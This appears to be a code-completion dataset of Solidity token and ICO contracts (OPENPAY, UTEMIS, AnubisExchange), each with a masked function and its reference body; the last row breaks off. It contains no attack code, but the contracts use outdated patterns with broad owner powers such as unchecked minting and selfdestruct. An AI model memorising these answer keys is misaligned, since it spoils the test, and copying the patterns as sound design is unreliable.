owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To increment
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _addedValue The amount of tokens to increase the allowance by.
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To decrement
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _subtractedValue The amount of tokens to decrease the allowance by.
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Change the ETH to IO rate
// ------------------------------------------------------------------------
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
// ------------------------------------------------------------------------
// Function to mint tokens
// _to The address that will receive the minted tokens.
// _amount The amount of tokens to mint.
// A boolean that indicates if the operation was successful.
// ------------------------------------------------------------------------
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// function to stop the ICO
// ------------------------------------------------------------------------
function stopICO() onlyOwner public {
isStopped = true;
}
// ------------------------------------------------------------------------
// function to resume ICO
// ------------------------------------------------------------------------
function resumeICO() onlyOwner public {
isStopped = false;
}
} | contract OPENPAY is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
bool public isStopped = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed to, uint256 amount);
event ChangeRate(uint256 amount);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OPY";
name = "OPENPAY";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 190000000; // 1 ETH = 19000 OPY
DENOMINATOR = 10000;
emit Transfer(address(0), owner, _totalSupply);
}
// ----------------------------------------------------------------------------
// It invokes when someone sends ETH to this contract address
// requires enough gas for execution
// ----------------------------------------------------------------------------
function() public payable {
buyTokens();
}
// ----------------------------------------------------------------------------
// Function to handle eth and token transfers
// tokens are transferred to user
// ETH are transferred to current owner
// ----------------------------------------------------------------------------
function buyTokens() onlyWhenRunning public payable {
require(msg.value > 0);
uint tokens = msg.value.mul(RATE).div(DENOMINATOR);
require(balances[owner] >= tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(owner, msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To increment
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _addedValue The amount of tokens to increase the allowance by.
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To decrement
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _subtractedValue The amount of tokens to decrease the allowance by.
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Change the ETH to IO rate
// ------------------------------------------------------------------------
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// function to stop the ICO
// ------------------------------------------------------------------------
function stopICO() onlyOwner public {
isStopped = true;
}
// ------------------------------------------------------------------------
// function to resume ICO
// ------------------------------------------------------------------------
function resumeICO() onlyOwner public {
isStopped = false;
}
} |
require(_to != address(0));
require(_amount > 0);
uint newamount = _amount * 10**uint(decimals);
_totalSupply = _totalSupply.add(newamount);
balances[_to] = balances[_to].add(newamount);
emit Mint(_to, newamount);
emit Transfer(address(0), _to, newamount);
return true;
| function mint(address _to, uint256 _amount) onlyOwner public returns (bool) | // ------------------------------------------------------------------------
// Function to mint tokens
// _to The address that will receive the minted tokens.
// _amount The amount of tokens to mint.
// A boolean that indicates if the operation was successful.
// ------------------------------------------------------------------------
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) |
49561 | UTEMIS | _transfer | contract UTEMIS{
/******************** Public constants ********************/
// Days of ico since it is deployed
uint public constant ICO_DAYS = 59;
// Minimum value accepted for investors. n wei / 10 ^ 18 = n Ethers
uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei;
// Value for each UTS
uint public constant VALUE_OF_UTS = 666666599999 wei;
// Token name
string public constant TOKEN_NAME = "UTEMIS";
// Symbol token
string public constant TOKEN_SYMBOL = "UTS";
// Total supply of tokens
uint256 public constant TOTAL_SUPPLY = 1 * 10 ** 12;
// The amount of tokens that will be offered during the ico
uint256 public constant ICO_SUPPLY = 2 * 10 ** 11;
// Minimum objective
uint256 public constant SOFT_CAP = 10000 ether; // 10000 ETH
// When the ico Starts - GMT Monday, January 8 , 2018 5:00:00 PM //1515430800;
uint public constant START_ICO = 1515430800;
/******************** Public variables ********************/
//Owner of the contract
address public owner;
//Date of end ico
uint public deadLine;
//Date of start ico
uint public startTime;
//Balances
mapping(address => uint256) public balance_;
//Remaining tokens to offer during the ico
uint public remaining;
//Time of bonus application, could be n minutes , n hours , n days , n weeks , n years
uint[4] private bonusTime = [3 days , 17 days , 31 days , 59 days];
//Amount of bonus applicated
uint8[4] private bonusBenefit = [uint8(40) , uint8(25) , uint8(20) , uint8(15)];
uint8[4] private bonusPerInvestion_5 = [uint8(0) , uint8(5) , uint8(3) , uint8(2)];
uint8[4] private bonusPerInvestion_10 = [uint8(0) , uint8(10) , uint8(5) , uint8(3)];
//The accound that receives the ether when the ico is succesful. If not defined, the beneficiary will be the owner
address private beneficiary;
//State of ico
bool private ico_started;
//Ethers collected during the ico
uint256 public ethers_collected;
//ETH Balance of contract
uint256 private ethers_balance;
//Struct data for store investors
struct Investors{
uint256 amount;
uint when;
}
//Array for investors
mapping(address => Investors) private investorsList;
address[] private investorsAddress;
//Events
event Transfer(address indexed from , address indexed to , uint256 value);
event Burn(address indexed from, uint256 value);
event FundTransfer(address backer , uint amount , address investor);
//Safe math
function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;}
function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier icoStarted(){
require(ico_started == true);
require(now <= deadLine);
require(now >= START_ICO);
_;
}
modifier icoStopped(){
require(ico_started == false);
require(now > deadLine);
_;
}
modifier minValue(){
require(msg.value >= MIN_ACCEPTED_VALUE);
_;
}
//Contract constructor
function UTEMIS() public{
balance_[msg.sender] = TOTAL_SUPPLY; //Transfer all tokens to main account
owner = msg.sender; //Set the variable owner to creator of contract
deadLine = START_ICO + ICO_DAYS * 1 days; //Declare deadLine
startTime = now; //Declare startTime of contract
remaining = ICO_SUPPLY; //The remaining tokens to sell
ico_started = false; //State of ico
}
/**
* For transfer tokens. Internal use, only can executed by this contract
*
* @param _from Source address
* @param _to Destination address
* @param _value Amount of tokens to send
*/
function _transfer(address _from , address _to , uint _value) internal{<FILL_FUNCTION_BODY> }
/**
* For transfer tokens from owner of contract
*
* @param _to Destination address
* @param _value Amount of tokens to send
*/
function transfer(address _to , uint _value) public onlyOwner{
_transfer(msg.sender , _to , _value); //Internal transfer
}
/**
* ERC20 Function to know's the balances
*
* @param _owner Address to check
* @return uint Returns the balance of indicated address
*/
function balanceOf(address _owner) constant public returns(uint balances){
return balance_[_owner];
}
/**
* Get investors info
*
* @return [] Returns an array with address of investors, amount invested and when invested
*/
function getInvestors() constant public returns(address[] , uint[] , uint[]){
uint length = investorsAddress.length; //Length of array
address[] memory addr = new address[](length);
uint[] memory amount = new uint[](length);
uint[] memory when = new uint[](length);
for(uint i = 0; i < length; i++){
address key = investorsAddress[i];
addr[i] = key;
amount[i] = investorsList[key].amount;
when[i] = investorsList[key].when;
}
return (addr , amount , when);
}
/**
* Get total tokens distributeds
*
* @return uint Returns total tokens distributeds
*/
function getTokensDistributeds() constant public returns(uint){
return ICO_SUPPLY - remaining;
}
/**
* Get amount of bonus to apply
*
* @param _ethers Amount of ethers invested, for calculation the bonus
* @return uint Returns a % of bonification to apply
*/
function getBonus(uint _ethers) public view returns(uint8){
uint8 _bonus = 0; //Assign bonus to
uint8 _bonusPerInvestion = 0;
uint starter = now - START_ICO; //To control end time of bonus
for(uint i = 0; i < bonusTime.length; i++){ //For loop
if(starter <= bonusTime[i]){ //If the starter are greater than bonusTime, the bonus will be 0
if(_ethers >= 5 ether && _ethers < 10 ether){
_bonusPerInvestion = bonusPerInvestion_5[i];
}
if(_ethers > 10 ether){
_bonusPerInvestion = bonusPerInvestion_10[i];
}
_bonus = bonusBenefit[i]; //Asign amount of bonus to bonus_ variable
break; //Break the loop
}
}
return _bonus + _bonusPerInvestion;
}
/**
* Escale any value to n * 10 ^ 18
*
* @param _value Value to escale
* @return uint Returns a escaled value
*/
function escale(uint _value) private pure returns(uint){
return _value * 10 ** 18;
}
/**
* Calculate the amount of tokens to sends depeding on the amount of ethers received
*
* @param _ethers Amount of ethers for convert to tokens
* @return uint Returns the amount of tokens to send
*/
function getTokensToSend(uint _ethers) public view returns (uint){
uint tokensToSend = 0; //Assign tokens to send to 0
uint8 bonus = getBonus(_ethers); //Get amount of bonification
uint ethToTokens = _ethers / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS
uint amountBonus = escale(ethToTokens) / 100 * escale(bonus);
uint _amountBonus = amountBonus / 10 ** 36;
tokensToSend = ethToTokens + _amountBonus;
return tokensToSend;
}
/**
* Set the beneficiary of the contract, who receives Ethers
*
* @param _beneficiary Address that will be who receives Ethers
*/
function setBeneficiary(address _beneficiary) public onlyOwner{
require(msg.sender == owner); //Prevents the execution of another than the owner
beneficiary = _beneficiary; //Set beneficiary
}
/**
* Start the ico manually
*
*/
function startIco() public onlyOwner{
ico_started = true; //Set the ico started
}
/**
* Stop the ico manually
*
*/
function stopIco() public onlyOwner{
ico_started = false; //Set the ico stopped
}
/**
* Give back ethers to investors if soft cap is not reached
*
*/
function giveBackEthers() public onlyOwner icoStopped{
require(this.balance >= ethers_collected); //Require that the contract have ethers
uint length = investorsAddress.length; //Length of array
for(uint i = 0; i < length; i++){
address investorA = investorsAddress[i];
uint amount = investorsList[investorA].amount;
if(address(beneficiary) == 0){
beneficiary = owner;
}
_transfer(investorA , beneficiary , balanceOf(investorA));
investorA.transfer(amount);
}
}
/**
* Fallback when the contract receives ethers
*
*/
function () payable public icoStarted minValue{
uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested
if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor
uint index = investorsAddress.length++;
investorsAddress[index] = msg.sender;
investorsList[msg.sender] = Investors(msg.value , now); //Store investors info
}
if(amount_actually_invested > 0){ //If amount invested are greater than 0
investorsList[msg.sender].amount += msg.value; //Increase the amount invested
investorsList[msg.sender].when = now; //Change the last time invested
}
uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received
remaining -= tokensToSend; //Subtract the tokens to send to remaining tokens
_transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor
require(balance_[owner] >= (TOTAL_SUPPLY - ICO_SUPPLY)); //Requires not selling more tokens than those proposed in the ico
require(balance_[owner] >= tokensToSend);
if(address(beneficiary) == 0){ //Check if beneficiary is not setted
beneficiary = owner; //If not, set the beneficiary to owner
}
ethers_collected += msg.value; //Increase ethers_collected
ethers_balance += msg.value;
if(!beneficiary.send(msg.value)){
revert();
} //Send ethers to beneficiary
FundTransfer(owner , msg.value , msg.sender); //Fire events for clients
}
/**
* Extend ICO time
*
* @param timetoextend Time in miliseconds to extend ico
*/
function extendICO(uint timetoextend) onlyOwner external{
require(timetoextend > 0);
deadLine+= timetoextend;
}
/**
* Destroy contract and send ethers to owner
*
*/
function destroyContract() onlyOwner external{
selfdestruct(owner);
}
} | contract UTEMIS{
/******************** Public constants ********************/
// Days of ico since it is deployed
uint public constant ICO_DAYS = 59;
// Minimum value accepted for investors. n wei / 10 ^ 18 = n Ethers
uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei;
// Value for each UTS
uint public constant VALUE_OF_UTS = 666666599999 wei;
// Token name
string public constant TOKEN_NAME = "UTEMIS";
// Symbol token
string public constant TOKEN_SYMBOL = "UTS";
// Total supply of tokens
uint256 public constant TOTAL_SUPPLY = 1 * 10 ** 12;
// The amount of tokens that will be offered during the ico
uint256 public constant ICO_SUPPLY = 2 * 10 ** 11;
// Minimum objective
uint256 public constant SOFT_CAP = 10000 ether; // 10000 ETH
// When the ico Starts - GMT Monday, January 8 , 2018 5:00:00 PM //1515430800;
uint public constant START_ICO = 1515430800;
/******************** Public variables ********************/
//Owner of the contract
address public owner;
//Date of end ico
uint public deadLine;
//Date of start ico
uint public startTime;
//Balances
mapping(address => uint256) public balance_;
//Remaining tokens to offer during the ico
uint public remaining;
//Time of bonus application, could be n minutes , n hours , n days , n weeks , n years
uint[4] private bonusTime = [3 days , 17 days , 31 days , 59 days];
//Amount of bonus applicated
uint8[4] private bonusBenefit = [uint8(40) , uint8(25) , uint8(20) , uint8(15)];
uint8[4] private bonusPerInvestion_5 = [uint8(0) , uint8(5) , uint8(3) , uint8(2)];
uint8[4] private bonusPerInvestion_10 = [uint8(0) , uint8(10) , uint8(5) , uint8(3)];
//The accound that receives the ether when the ico is succesful. If not defined, the beneficiary will be the owner
address private beneficiary;
//State of ico
bool private ico_started;
//Ethers collected during the ico
uint256 public ethers_collected;
//ETH Balance of contract
uint256 private ethers_balance;
//Struct data for store investors
struct Investors{
uint256 amount;
uint when;
}
//Array for investors
mapping(address => Investors) private investorsList;
address[] private investorsAddress;
//Events
event Transfer(address indexed from , address indexed to , uint256 value);
event Burn(address indexed from, uint256 value);
event FundTransfer(address backer , uint amount , address investor);
//Safe math
function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;}
function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier icoStarted(){
require(ico_started == true);
require(now <= deadLine);
require(now >= START_ICO);
_;
}
modifier icoStopped(){
require(ico_started == false);
require(now > deadLine);
_;
}
modifier minValue(){
require(msg.value >= MIN_ACCEPTED_VALUE);
_;
}
//Contract constructor
function UTEMIS() public{
balance_[msg.sender] = TOTAL_SUPPLY; //Transfer all tokens to main account
owner = msg.sender; //Set the variable owner to creator of contract
deadLine = START_ICO + ICO_DAYS * 1 days; //Declare deadLine
startTime = now; //Declare startTime of contract
remaining = ICO_SUPPLY; //The remaining tokens to sell
ico_started = false; //State of ico
}
<FILL_FUNCTION>
/**
* For transfer tokens from owner of contract
*
* @param _to Destination address
* @param _value Amount of tokens to send
*/
function transfer(address _to , uint _value) public onlyOwner{
_transfer(msg.sender , _to , _value); //Internal transfer
}
/**
* ERC20 Function to know's the balances
*
* @param _owner Address to check
* @return uint Returns the balance of indicated address
*/
function balanceOf(address _owner) constant public returns(uint balances){
return balance_[_owner];
}
/**
* Get investors info
*
* @return [] Returns an array with address of investors, amount invested and when invested
*/
function getInvestors() constant public returns(address[] , uint[] , uint[]){
uint length = investorsAddress.length; //Length of array
address[] memory addr = new address[](length);
uint[] memory amount = new uint[](length);
uint[] memory when = new uint[](length);
for(uint i = 0; i < length; i++){
address key = investorsAddress[i];
addr[i] = key;
amount[i] = investorsList[key].amount;
when[i] = investorsList[key].when;
}
return (addr , amount , when);
}
/**
* Get total tokens distributeds
*
* @return uint Returns total tokens distributeds
*/
function getTokensDistributeds() constant public returns(uint){
return ICO_SUPPLY - remaining;
}
/**
* Get amount of bonus to apply
*
* @param _ethers Amount of ethers invested, for calculation the bonus
* @return uint Returns a % of bonification to apply
*/
function getBonus(uint _ethers) public view returns(uint8){
uint8 _bonus = 0; //Assign bonus to
uint8 _bonusPerInvestion = 0;
uint starter = now - START_ICO; //To control end time of bonus
for(uint i = 0; i < bonusTime.length; i++){ //For loop
if(starter <= bonusTime[i]){ //If the starter are greater than bonusTime, the bonus will be 0
if(_ethers >= 5 ether && _ethers < 10 ether){
_bonusPerInvestion = bonusPerInvestion_5[i];
}
if(_ethers > 10 ether){
_bonusPerInvestion = bonusPerInvestion_10[i];
}
_bonus = bonusBenefit[i]; //Asign amount of bonus to bonus_ variable
break; //Break the loop
}
}
return _bonus + _bonusPerInvestion;
}
/**
* Escale any value to n * 10 ^ 18
*
* @param _value Value to escale
* @return uint Returns a escaled value
*/
function escale(uint _value) private pure returns(uint){
return _value * 10 ** 18;
}
/**
* Calculate the amount of tokens to sends depeding on the amount of ethers received
*
* @param _ethers Amount of ethers for convert to tokens
* @return uint Returns the amount of tokens to send
*/
function getTokensToSend(uint _ethers) public view returns (uint){
uint tokensToSend = 0; //Assign tokens to send to 0
uint8 bonus = getBonus(_ethers); //Get amount of bonification
uint ethToTokens = _ethers / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS
uint amountBonus = escale(ethToTokens) / 100 * escale(bonus);
uint _amountBonus = amountBonus / 10 ** 36;
tokensToSend = ethToTokens + _amountBonus;
return tokensToSend;
}
/**
* Set the beneficiary of the contract, who receives Ethers
*
* @param _beneficiary Address that will be who receives Ethers
*/
function setBeneficiary(address _beneficiary) public onlyOwner{
require(msg.sender == owner); //Prevents the execution of another than the owner
beneficiary = _beneficiary; //Set beneficiary
}
/**
* Start the ico manually
*
*/
function startIco() public onlyOwner{
ico_started = true; //Set the ico started
}
/**
* Stop the ico manually
*
*/
function stopIco() public onlyOwner{
ico_started = false; //Set the ico stopped
}
/**
* Give back ethers to investors if soft cap is not reached
*
*/
function giveBackEthers() public onlyOwner icoStopped{
require(this.balance >= ethers_collected); //Require that the contract have ethers
uint length = investorsAddress.length; //Length of array
for(uint i = 0; i < length; i++){
address investorA = investorsAddress[i];
uint amount = investorsList[investorA].amount;
if(address(beneficiary) == 0){
beneficiary = owner;
}
_transfer(investorA , beneficiary , balanceOf(investorA));
investorA.transfer(amount);
}
}
/**
* Fallback when the contract receives ethers
*
*/
function () payable public icoStarted minValue{
uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested
if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor
uint index = investorsAddress.length++;
investorsAddress[index] = msg.sender;
investorsList[msg.sender] = Investors(msg.value , now); //Store investors info
}
if(amount_actually_invested > 0){ //If amount invested are greater than 0
investorsList[msg.sender].amount += msg.value; //Increase the amount invested
investorsList[msg.sender].when = now; //Change the last time invested
}
uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received
remaining -= tokensToSend; //Subtract the tokens to send to remaining tokens
_transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor
require(balance_[owner] >= (TOTAL_SUPPLY - ICO_SUPPLY)); //Requires not selling more tokens than those proposed in the ico
require(balance_[owner] >= tokensToSend);
if(address(beneficiary) == 0){ //Check if beneficiary is not setted
beneficiary = owner; //If not, set the beneficiary to owner
}
ethers_collected += msg.value; //Increase ethers_collected
ethers_balance += msg.value;
if(!beneficiary.send(msg.value)){
revert();
} //Send ethers to beneficiary
FundTransfer(owner , msg.value , msg.sender); //Fire events for clients
}
/**
* Extend ICO time
*
* @param timetoextend Time in miliseconds to extend ico
*/
function extendICO(uint timetoextend) onlyOwner external{
require(timetoextend > 0);
deadLine+= timetoextend;
}
/**
* Destroy contract and send ethers to owner
*
*/
function destroyContract() onlyOwner external{
selfdestruct(owner);
}
} |
require(_to != 0x0); //Prevent send tokens to 0x0 address
require(balance_[_from] >= _value); //Check if the sender have enough tokens
require(balance_[_to] + _value > balance_[_to]); //Check for overflows
balance_[_from] = safeSub(balance_[_from] , _value); //Subtract from the source ( sender )
balance_[_to] = safeAdd(balance_[_to] , _value); //Add tokens to destination
uint previousBalance = balance_[_from] + balance_[_to]; //To make assert
Transfer(_from , _to , _value); //Fire event for clients
assert(balance_[_from] + balance_[_to] == previousBalance); //Check the assert
| function _transfer(address _from , address _to , uint _value) internal | /**
* For transfer tokens. Internal use, only can executed by this contract
*
* @param _from Source address
* @param _to Destination address
* @param _value Amount of tokens to send
*/
function _transfer(address _from , address _to , uint _value) internal |
24153 | AnubisExchange | tokenFromReflection | contract AnubisExchange is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anubis Exchange ";
string private constant _symbol = " Anubis";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{<FILL_FUNCTION_BODY> }
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
